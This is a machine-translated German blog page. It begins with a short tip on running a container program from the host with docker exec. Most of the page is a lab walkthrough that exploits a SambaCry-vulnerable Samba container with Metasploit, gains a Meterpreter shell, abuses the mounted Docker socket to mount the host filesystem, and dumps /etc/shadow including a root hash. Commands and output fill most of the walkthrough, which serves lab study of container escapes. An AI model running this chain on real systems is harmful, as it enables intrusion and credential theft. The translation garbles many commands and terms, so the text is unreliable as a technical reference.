Führen Sie die Shell oder das Programm im Docker-Container auf dem Host aus.

Führen Sie die Shell oder das Programm im Docker-Container auf dem Host aus.

Um zu vermeiden, dass für den Betrieb immer wieder der Docker-Container aufgerufen werden muss, kann eine Reihe von Anweisungen im Container vom Hostcomputer ausgeführt werden.

Führen Sie das ausführbare Programm „printer“ im Verzeichnis /usr des CentOS-Containers (mit dem Namen centos-1) auf dem Hostcomputer aus (der Host des Autors ist Windows 7), und die Programmausgabe soll „123“ drucken.

C:\Benutzer\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

Erfolg.

Zusatzwissen: Unsicheres Deployment von Docker-Containern nutzen, um Host-Berechtigungen zu erhalten

Vorwort

Es gibt viele Möglichkeiten, Container zu missbrauchen und zu entkommen. In diesem Artikel wird die einfachste Möglichkeit erläutert: der Missbrauch des Docker-Sockets, um aus dem Container zu entkommen und Code als Root auf dem Host auszuführen.

Einrichten einer experimentellen Umgebung

Da wir Container verwenden, muss Docker installiert sein.

Ein Netzwerk aufbauen

Zuerst erstellen wir ein Docker-Netzwerk, in dem wir den Container erstellen:

Docker-Netzwerk erstellen Pwnage

Starten Sie den anfälligen Container

In diesem Beispiel verwende ich einen Container, der von der SambaCry-Sicherheitslücke (CVE-2017-7494) betroffen ist. Weitere Informationen zur Sicherheitslücke finden Sie unter opsxcq/exploit-CVE-2017-7494.

Diese Sicherheitslücke ermöglicht es Ihnen, Remote-Code auf dem Samba-Server auszuführen. Wir werden den Docker-Socket zum Container hinzufügen. Hier ist ein Beispiel für den Missbrauch von Docker.

docker run --rm -it \
    --name anfällig \
    --network-pwnage \
    -v '/var/run/docker.sock:/var/run/docker.sock' \
    anfällige/cve-2017-7494

Starten Sie Angriffsflugzeuge

Nachdem die Laborumgebung eingerichtet ist, müssen wir den Host des Angreifers zum Netzwerk hinzufügen. Im Samba Cry-Repository ist ein Exploit verfügbar, ich werde hier aber Metasploit verwenden, da es einfacher ist, das hochzuladen, was ich brauche.

Ich habe hierfür ein Image erstellt. Führen Sie einfach den folgenden Befehl aus und alles wird wie für die Laborumgebung erforderlich ausgeführt:

docker run --rm -it \
    --network-pwnage \
    -v '/usr/bin/docker:/docker:ro' \
    strm/metasploit

Nachdem der Ladevorgang abgeschlossen ist, wird die folgende Schnittstelle angezeigt.

Angriffsausnutzung

Informationssammlung

Das Sammeln von Informationen ist ein wesentlicher Bestandteil jedes Angriffs oder Tests. Lassen Sie uns also zunächst den anfälligen Container anpingen, um die aktuelle Konnektivität zu überprüfen.

ping -c 2 anfällig

Wenn alles gut gegangen ist, sollten Sie die folgende Ausgabe sehen.

msf5 > ping -c 2 anfällig 
[*] exec: ping -c 2 anfällig 
 
PING anfällig (172.20.0.2) 56(84) Bytes Daten.
64 Bytes von vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 Zeit=0,120 ms
64 Bytes von vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 Zeit=0,097 ms
 
--- Statistiken zu anfälligen Pings ---
2 Pakete gesendet, 2 empfangen, 0 % Paketverlust, Zeit 1009 ms
RTT min./avg./max./mdev. = 0,097/0,108/0,120/0,015 ms

Anschließend führen wir eine grundlegende SMB-Freigabeaufzählung durch:

Verwenden Sie Hilfsprogramme/Scanner/SMB/SMB_enumshares.
Rhosts verwundbar machen
laufen

Die Ausgabe lautet wie folgt:

msf5 > Hilfs-/Scanner-/SMB-/SMB_enumshares verwenden
msf5-Hilfsrechner (Scanner/SMB/SMB_enumshares) > Rhosts anfällig machen
rhosts => anfällig
msf5-Hilfsgerät (Scanner/SMB/SMB_enumshares) > ausführen
 
[+] 172.20.0.2:139 - Daten - (DS) Daten
[+] 172.20.0.2:139 - IPC$ - (I) IPC-Dienst (Crying Samba)
[*] anfällig: - 1 von 1 Hosts gescannt (100% vollständig)
[*] Ausführung des Hilfsmoduls abgeschlossen

Wie Sie sehen, gibt es auf diesem Samba-Server eine Freigabe mit dem Namen „Data“.

Holen Sie sich eine Muschel

Der nächste Schritt besteht darin, den Exploit auf dem Hostcomputer auszuführen, um eine Shell zu erhalten. In Metasploit hat die Schwachstelle den Namen is_known_pipename und befindet sich unter exploit/linux/samba/is_known_pipename.

Führen Sie den folgenden Befehl aus, um den Host anzugreifen:

verwenden Sie Exploit/Linux/Samba/is_known_pipename
RHOST anfällig machen
RPORT 445 einstellen
Nutzlast festlegen Linux/x64/Meterpreter/bind_tcp
ZIEL 3 festlegen
SMB_FOLDER-Daten festlegen
SMBUser sambacry festlegen
setze SMBPass nosambanocry
ausbeuten

Wenn alles gut geht, erhalten Sie eine Meterpreter-Shell. wie folgt:

msf5 > Exploit/Linux/Samba/is_known_pipename verwenden
msf5-Exploit (Linux/Samba/is_known_pipename) > RHOST anfällig machen
RHOST => anfällig
msf5-Exploit (Linux/Samba/is_known_pipename) > RPORT 445 festlegen
RPORT => 445
msf5-Exploit (Linux/Samba/is_known_pipename) > Nutzlast Linux/x64/Meterpreter/bind_tcp festlegen
Nutzlast => linux/x64/meterpreter/bind_tcp
msf5-Exploit (Linux/Samba/is_known_pipename) > Ziel 3 festlegen
ZIEL => 3
msf5-Exploit (Linux/Samba/is_known_pipename) > SMB_FOLDER-Daten festlegen
SMB_FOLDER => Daten
msf5-Exploit (Linux/Samba/is_known_pipename) > SMBUser sambacry festlegen
SMBUser => sambacry
msf5-Exploit (Linux/Samba/is_known_pipename) > SMBPass „nosambanocry“ festlegen
SMBPass => nosambanocry
msf5-Exploit (Linux/Samba/ist_bekannter_Pipename) > Exploit
 
[*] vulnerable:445 - Verwendet wird der Standort \\vulnerable\data\ für den Pfad
[*] vulnerable:445 - Abrufen des Remote-Pfads der Freigabe „data“
[*] vulnerable:445 - Die Freigabe 'data' hat den serverseitigen Pfad '/data'
[*] vulnerable:445 - Nutzlast nach \\vulnerable\data\shyyEPPk.so hochgeladen
[*] vulnerable:445 - Laden der Nutzlast vom serverseitigen Pfad /data/shyyEPPk.so unter Verwendung von \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 - >> Fehler beim Laden von STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Laden der Nutzlast vom serverseitigen Pfad /data/shyyEPPk.so unter Verwendung von /data/shyyEPPk.so...
[-] vulnerable:445 - >> Fehler beim Laden von STATUS_OBJECT_NAME_NOT_FOUND
[*] Bind-TCP-Handler für vulnerable:4444 gestartet
[*] Sende Stage (816260 Bytes) an anfällige
 
Meterpreter >

Rechteausweitung

Wir werden die Berechtigungen erhöhen, indem wir den im Container verfügbaren Docker-Socket missbrauchen. Da Docker auf dem Hostcomputer als Root ausgeführt wird, verfügt es auch über Root-Berechtigungen. Wir können dies missbrauchen, um mehrere Aktionen auszuführen. Beispielsweise kann uns die Verwendung der Option --privileged viele erweiterte Funktionen bieten. Nachfolgend finden Sie den Erklärungstext aus der offiziellen Docker-Dokumentation:

Docker-Container verfügen standardmäßig über keine Berechtigungen. Beispielsweise können Sie keinen Container innerhalb eines Containers starten. Dies liegt daran, dass Container standardmäßig nicht auf andere Geräte zugreifen können. Durch die „Privilegien“ hat der Container jedoch die Möglichkeit, auf jedes andere Gerät zuzugreifen. Wenn der Operator docker run --privileged ausführt, hat Docker Zugriff auf alle Geräte auf dem Host. Gleichzeitig nimmt Docker auch einige Einstellungen in Apparmor oder Selinux vor, damit der Container problemlos auf Geräte zugreifen kann, die außerhalb des Containers ausgeführt werden.

Sie können mit der Option --device auf Geräte zugreifen. Aber in diesem Beispiel werde ich das Toor-Dateisystem (/) in den Container zuordnen und darauf zugreifen.

Da sich in diesem Container kein Docker-Client befindet, müssen wir als Nächstes den Docker-Client und seine Abhängigkeiten im Zielcontainer einrichten. Dies alles können Sie ganz einfach durch Ausführen des folgenden Befehls erledigen.

hochladen /docker /docker
Laden Sie /usr/lib/x86_64-linux-gnu/libltdl.so.7 hoch /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
Meterpreter > Hochladen /Docker /Docker
[*] Hochladen: /docker -> /docker
[*] Hochgeladen -1,00 B von 36,36 MiB (0,0 %): /docker -> /docker
[*] Hochgeladen -1,00 B von 36,36 MiB (0,0 %): /docker -> /docker
[*] Hochgeladen -1,00 B von 36,36 MiB (0,0 %): /docker -> /docker
[*] Hochgeladen -1,00 B von 36,36 MiB (0,0%): /docker -> /docker
[*] Hochgeladen -1,00 B von 36,36 MiB (0,0%): /docker -> /docker
[*] hochgeladen: /docker -> /docker
Meterpreter > Hochladen von /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Hochladen: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] -1,00 B von 38,47 KiB (-0,0 %) hochgeladen: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] hochgeladen: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
Meterpreter > chmod 777 /Docker
meterpreter > chmod +x /docker
Meterpreter >

Jetzt können wir Docker verwenden, um auf das Dateisystem auf dem Hostcomputer zuzugreifen. \

ausführen -f /docker -i -H -c -a "ausführen --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

Lassen Sie uns den Hash des lokalen Benutzers ausgeben. Die Ausgabe lautet wie folgt:

meterpreter > ausführen -f /docker -i -H -c -a "ausführen --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Prozess 113 erstellt.
Kanal 13 erstellt.
Wurzel:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
Synchronisierung:*:17488:0:99999:7:::
Spiele:*:17488:0:99999:7:::
Mann:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
Nachrichten:*:17488:0:99999:7:::

Der obige Artikel zum Ausführen einer Shell oder eines Programms in einem Docker-Container auf dem Host ist alles, was ich mit Ihnen teilen kann. Ich hoffe, er kann Ihnen als Referenz dienen, und ich hoffe auch, dass Sie 123WORDPRESS.COM unterstützen werden.

Das könnte Sie auch interessieren:
  • Docker ermöglicht den nahtlosen Aufruf von Shell-Befehlen zwischen Container und Host
  • Lösung für den Docker-Container, der keine Schreibberechtigung für das Host-Verzeichnis hat
  • Lösung, wenn der Docker-Container nicht auf den Host-Port zugreifen kann
  • Aufrufen und Ausführen von Host-Docker-Operationen im Docker-Container
  • Detaillierte Erläuterung zur Lösung des Problems, dass der Docker-Container nicht über IP auf den Hostcomputer zugreifen kann
  • So verwenden Sie einen Docker-Container für den Zugriff auf das Host-Netzwerk
  • Lösen Sie das Problem des 8-Stunden-Unterschieds zwischen Docker-Container und Host-Computer

<<:  Detaillierte Erklärung der Verbindung von DBeaver zu MySQL Version 8 und höher und Lösung möglicher Probleme

>>:  Eine vollständige Liste der Meta-Tag-Einstellungen für Mobilgeräte

Artikel empfehlen

Docker-Installation von Nginx Probleme und Fehleranalyse

Frage: Beim Installieren Nginx in Docker ist der ...

CSS3 verwendet scale() und rotate() zum Zoomen und Drehen

1. scale()-Methode Zoom steht für „Verkleinern“ u...

Welche Vorteile bietet die Verwendung eines B+-Baums als Indexstruktur in MySQL?

Vorwort In MySQL verwenden sowohl Innodb als auch...

Mehrere Methoden zum Ändern des MySQL-Root-Passworts (empfohlen)

Methode 1: Verwenden Sie den Befehl SET PASSWORD ...

So installieren Sie Oracle auf Windows Server 2016

1. Installieren Sie Oracle. Im Internet gibt es z...

Einführung in die Parameter und Regeln für reguläre Ausdrücke bei Nginx

Vorwort In letzter Zeit habe ich Kunden dabei geh...

Verstehen Sie das CSS3-Rasterlayout in 10 Minuten

Grundlegende Einführung Im vorherigen Artikel hab...

Vollbild-Drag-Upload-Komponente basierend auf Vue3

In diesem Artikel wird hauptsächlich die Vollbild...

Detaillierte Erklärung der markierten Union-Typen in TypeScript 2.0

Inhaltsverzeichnis Erstellen von Zahlungsmethoden...